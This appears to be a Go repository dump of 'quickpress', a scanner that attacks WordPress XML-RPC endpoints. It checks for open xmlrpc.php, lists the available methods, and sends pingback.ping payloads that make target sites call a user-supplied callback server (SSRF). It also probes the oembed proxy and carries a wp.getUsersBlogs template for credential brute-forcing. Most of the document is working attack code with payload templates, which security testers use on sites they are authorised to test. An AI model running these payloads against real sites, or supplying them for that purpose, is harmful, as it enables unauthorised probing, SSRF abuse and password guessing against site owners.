├── README.md
├── core
└── req.go
├── go.mod
├── go.sum
├── quickpress
├── quickpress.go
└── utils
├── banner.go
├── generate_hash.go
└── xmls.go
/README.md:
--------------------------------------------------------------------------------
1 | # quickpress
2 |
3 | Scan urls or a single URL against XMLRPC wordpress issues.
4 |
5 | usage:
6 |
7 | ##### Install
8 |
9 | ```bash
10 |
11 | $ go install github.com/incogbyte/quickpress@latest
12 |
13 | ```
14 | Compiling by yourself
15 |
16 | ```bash
17 | git clone https://github.com/incogbyte/quickpress.git
18 | cd quickpress
19 | go build -o quickpress
20 | ./quickpress
21 | ```
22 |
23 | ##### Usage
24 |
25 | * List of URLS
26 |
27 | ```bash
28 | # urls without / at the end of URL!
29 | cat urls.txt | quickpress -server http://burpcollaborator.net
30 | ```
31 |
32 | * Single URL
33 | ```bash
34 | quickpress -target https://target.com -server http://burpcollaborator.net
35 | ```
36 |
37 |
--------------------------------------------------------------------------------
/core/req.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | import (
4 | "bufio"
5 | "bytes"
6 | "crypto/tls"
7 | "fmt"
8 | "io/ioutil"
9 | "log"
10 | "net"
11 | "net/http"
12 | "os"
13 | "regexp"
14 | "strings"
15 | "sync"
16 | "time"
17 |
18 | "github.com/fatih/color"
19 | "github.com/incogbyte/quickpress/utils"
20 | )
21 |
22 | const ua = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0)"
23 |
24 | // Scan struct
25 | type Scan struct {
26 | target string
27 | server string
28 | }
29 |
30 | // New Create constructor
31 | func New(t string, s string) *Scan {
32 | return &Scan{target: t, server: s}
33 | }
34 |
35 | func newClient() *http.Client {
36 | //tr = transport
37 | tr := &http.Transport{
38 | MaxIdleConns: 30,
39 | IdleConnTimeout: time.Second,
40 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
41 | DialContext: (&net.Dialer{
42 | Timeout: time.Second * 10,
43 | KeepAlive: time.Second,
44 | }).DialContext,
45 | }
46 |
47 | re := func(req *http.Request, via []*http.Request) error {
48 | return http.ErrUseLastResponse
49 | }
50 |
51 | return &http.Client{
52 | Transport: tr,
53 | CheckRedirect: re,
54 | Timeout: time.Second * 10,
55 | }
56 | }
57 |
58 | // FromStdin test results from stdin
59 | func (s *Scan) FromStdin() {
60 | var wg sync.WaitGroup
61 | sc := bufio.NewScanner(os.Stdin)
62 |
63 | for sc.Scan() {
64 | rawURL := sc.Text()
65 | wg.Add(1)
66 |
67 | go func() {
68 | defer wg.Done()
69 |
70 | if s.IsAlive(rawURL) {
71 | s.VerifyMethods(rawURL)
72 | }
73 | }()
74 | }
75 | wg.Wait()
76 | }
77 |
78 | // IsAlive veirfy if xmlrpc is open
79 | func (s *Scan) IsAlive(url string) bool {
80 |
81 | cli := newClient()
82 |
83 | urlRequest := url + "/xmlrpc.php"
84 | fmt.Printf("[*] Verify [%s]\n", urlRequest)
85 | req, err := http.NewRequest("GET", urlRequest, nil)
86 | req.Header.Set("User-Agent", ua)
87 | req.Header.Set("X-Custom", "github.com/incogbyte")
88 |
89 | if err != nil {
90 | return false
91 | }
92 |
93 | resp, err := cli.Do(req)
94 | if err != nil {
95 | return false
96 | }
97 |
98 | if resp.StatusCode != 200 {
99 | fmt.Printf("[*] Target [%s] have a bad status code..[%d]\n", url, resp.StatusCode)
100 | } else {
101 | fmt.Printf("[*] Target [%s] have a cool status code [%d].\n", url, resp.StatusCode)
102 | }
103 |
104 | defer resp.Body.Close()
105 |
106 | body, err := ioutil.ReadAll(resp.Body)
107 |
108 | if err != nil {
109 | return false
110 | }
111 |
112 | responseBody := string(body)
113 |
114 | matchedString, err := regexp.MatchString(`XML-RPC server accepts POST requests only`, responseBody)
115 |
116 | if matchedString {
117 | return true
118 | }
119 |
120 | return false
121 | }
122 |
123 | // VerifyMethods verify methods xmlrpc
124 | func (s *Scan) VerifyMethods(url string) {
125 |
126 | urlReq := url + "/xmlrpc.php"
127 | cli := newClient()
128 | body := " system.listMethods "
129 |
130 | req, err := http.NewRequest("POST", urlReq, bytes.NewBuffer([]byte(body)))
131 | if err != nil {
132 | log.Println(err)
133 | }
134 | defer req.Body.Close()
135 |
136 | req.Header.Add("User-Agent", ua)
137 | req.Header.Add("Content-Type", "application/xml; charset=utf-8")
138 |
139 | res, err := cli.Do(req)
140 | if err != nil {
141 | log.Println(err)
142 | }
143 |
144 | bodyString, err := ioutil.ReadAll(res.Body)
145 |
146 | if err != nil {
147 | log.Println(err)
148 | }
149 |
150 | b := string(bodyString)
151 |
152 | matchedStringPing, err := regexp.MatchString(`(pingback.ping)`, b)
153 | if err != nil {
154 | log.Println(err)
155 | }
156 |
157 | if matchedStringPing {
158 | color.Magenta("[+] Pingback open at [%s]\n", url)
159 |
160 | }
161 |
162 | s.Ssrf(url)
163 |
164 | matchedStringBrute, err := regexp.MatchString(`(blogger.getUsersBlogs)`, b)
165 |
166 | if err != nil {
167 | log.Println(err)
168 | }
169 |
170 | if matchedStringBrute {
171 | color.Magenta("[+] blogger.getUsersBlogs open at [%s]\n", url)
172 | }
173 |
174 | }
175 |
176 | func parseTargetName(s string) string {
177 | if strings.Contains(s, "http://") {
178 | name := strings.ReplaceAll(s, "http://", "")
179 | return name
180 | }
181 |
182 | name := strings.ReplaceAll(s, "https://", "")
183 | return name
184 | }
185 |
186 | func removeLastSlash(s string) string {
187 | target := strings.TrimSuffix(s, "/")
188 | return target
189 | }
190 |
191 | // Ssrf testing ssrf if avaliable
192 | func (s *Scan) Ssrf(target string) {
193 |
194 | targetParsed := removeLastSlash(target)
195 |
196 | url := target + "/xmlrpc.php"
197 |
198 | name := parseTargetName(targetParsed)
199 | sv := parseTargetName(s.server)
200 | hash := utils.GenerateHashTracker()
201 | parsedServer := "https://" + name + "." + hash + "." + sv
202 | fmt.Println(parsedServer)
203 |
204 | xml := utils.SSRF
205 |
206 | replaceServer := strings.ReplaceAll(xml, "$SERVER$", parsedServer)
207 | replaceTarget := strings.ReplaceAll(replaceServer, "$TARGET$", targetParsed)
208 |
209 | body := replaceTarget
210 |
211 | fmt.Println(body)
212 |
213 | c := &http.Client{}
214 | req, err := http.NewRequest("POST", url, bytes.NewBuffer([]byte(body)))
215 | if err != nil {
216 | log.Println(err)
217 | }
218 | defer req.Body.Close()
219 |
220 | req.Header.Add("User-Agent", ua)
221 | req.Header.Add("Content-Type", "application/xml; charset=utf-8")
222 |
223 | resp, err := c.Do(req)
224 | if err != nil {
225 | fmt.Println(err)
226 | }
227 |
228 | if resp.StatusCode == 200 {
229 | color.Yellow("[*] SSRF testing..\n")
230 | }
231 | color.Cyan("[+] SSRF TEST DONE at [%s]: verify at [%s] if a HTTP connection was recevied", targetParsed, s.server)
232 |
233 | }
234 |
235 | // ProxyTesting testing oem proxyng server
236 | func (s *Scan) ProxyTesting() {
237 | client := newClient()
238 |
239 | url := s.target + "/wp-json/oembed/1.0/proxy?url=" + s.server + "/incogbyte"
240 |
241 | req, err := http.NewRequest("GET", url, nil)
242 | req.Header.Set("User-Agent", ua)
243 | if err != nil {
244 | log.Println(err)
245 | }
246 |
247 | resp, err := client.Do(req)
248 | if err != nil {
249 | log.Println(err)
250 | }
251 |
252 | if resp.StatusCode == 200 {
253 | color.Cyan("[+] wp-json/oembed/1.0/proxy open, verify is a HTTP was recevied at your server..")
254 | }
255 |
256 | }
257 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/incogbyte/quickpress
2 |
3 | go 1.19
4 |
5 | require github.com/fatih/color v1.13.0
6 |
7 | require (
8 | github.com/mattn/go-colorable v0.1.13 // indirect
9 | github.com/mattn/go-isatty v0.0.16 // indirect
10 | golang.org/x/sys v0.3.0 // indirect
11 | )
12 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w=
2 | github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk=
3 | github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
4 | github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
5 | github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
6 | github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
7 | github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
8 | github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ=
9 | github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
10 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
11 | golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
12 | golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
13 | golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
14 | golang.org/x/sys v0.3.0 h1:w8ZOecv6NaNa/zC8944JTU3vz4u6Lagfk4RPQxv92NQ=
15 | golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
16 |
--------------------------------------------------------------------------------
/quickpress:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/incogbyte/quickpress/0fde33fe6d095af2b3190279cec5a934fdb278ec/quickpress
--------------------------------------------------------------------------------
/quickpress.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "flag"
5 | "fmt"
6 | "os"
7 |
8 | "github.com/incogbyte/quickpress/core"
9 | "github.com/incogbyte/quickpress/utils"
10 | )
11 |
12 | func main() {
13 | banner := utils.UglyBanner()
14 | fmt.Println(banner)
15 | target := flag.String("target", "", "[-] (e.g: https://wordpress.site.com)")
16 | server := flag.String("server", "", "[-] (e.g: http://159.89.121.20 or http://mydomain.com")
17 | flag.Parse()
18 |
19 | serverUser := *server
20 | targetUser := *target
21 |
22 | if serverUser == "" {
23 | fmt.Println("[+] Server is required to test ssrf..")
24 | fmt.Println("./quickpress -server http://burpcollaborator.net")
25 | os.Exit(1)
26 | }
27 |
28 | targetStruct := core.New(targetUser, serverUser)
29 |
30 | //verify if data is from stdin
31 | file, _ := os.Stdin.Stat()
32 | if (file.Mode() & os.ModeCharDevice) == 0 {
33 | targetStruct.FromStdin()
34 | } else {
35 | if targetStruct.IsAlive(targetUser) {
36 | targetStruct.VerifyMethods(targetUser)
37 | }
38 | }
39 |
40 | }
41 |
--------------------------------------------------------------------------------
/utils/banner.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | const author string = " [+] Author: incogbyte\n"
4 | const version string = " [+] Version: 1.3\n\n"
5 |
6 | // UglyBanner banner
7 | func UglyBanner() string {
8 |
9 | var banner string = `
10 |
11 |
12 | ██╗ ██╗███╗ ███╗██╗ ██████╗ ██████╗ ██████╗ ███████╗ ██████╗ █████╗ ███╗ ██╗
13 | ╚██╗██╔╝████╗ ████║██║ ██╔══██╗██╔══██╗██╔════╝ ██╔════╝██╔════╝██╔══██╗████╗ ██║
14 | ╚███╔╝ ██╔████╔██║██║ ██████╔╝██████╔╝██║█████╗███████╗██║ ███████║██╔██╗ ██║
15 | ██╔██╗ ██║╚██╔╝██║██║ ██╔══██╗██╔═══╝ ██║╚════╝╚════██║██║ ██╔══██║██║╚██╗██║
16 | ██╔╝ ██╗██║ ╚═╝ ██║███████╗██║ ██║██║ ╚██████╗ ███████║╚██████╗██║ ██║██║ ╚████║
17 | ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝
18 |
19 |
20 | `
21 | returnBanner := banner + author + version
22 | return returnBanner
23 | }
24 |
--------------------------------------------------------------------------------
/utils/generate_hash.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import (
4 | "math/rand"
5 | "time"
6 | )
7 |
8 | var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
9 |
10 | func randSeq(n int) string {
11 | b := make([]rune, n)
12 | for i := range b {
13 | b[i] = letters[rand.Intn(len(letters))]
14 | }
15 | return string(b)
16 | }
17 |
18 | func GenerateHashTracker() string {
19 | rand.Seed(time.Now().UnixNano())
20 | return randSeq(10)
21 | }
22 |
--------------------------------------------------------------------------------
/utils/xmls.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | var SSRF string = `
4 |
5 | pingback.ping
6 |
7 |
8 | $SERVER$
9 |
10 |
11 | $TARGET$?p=1
12 |
13 |
14 | `
15 |
16 | var BRUTE string = `
17 |
18 | wp.getUsersBlogs
19 |
20 | [$login$]
21 | [$password$]
22 |
23 |
24 | `
25 |
26 | var METHODS string = `
27 |
28 | system.listMethods
29 |
30 |
31 | `
32 |
--------------------------------------------------------------------------------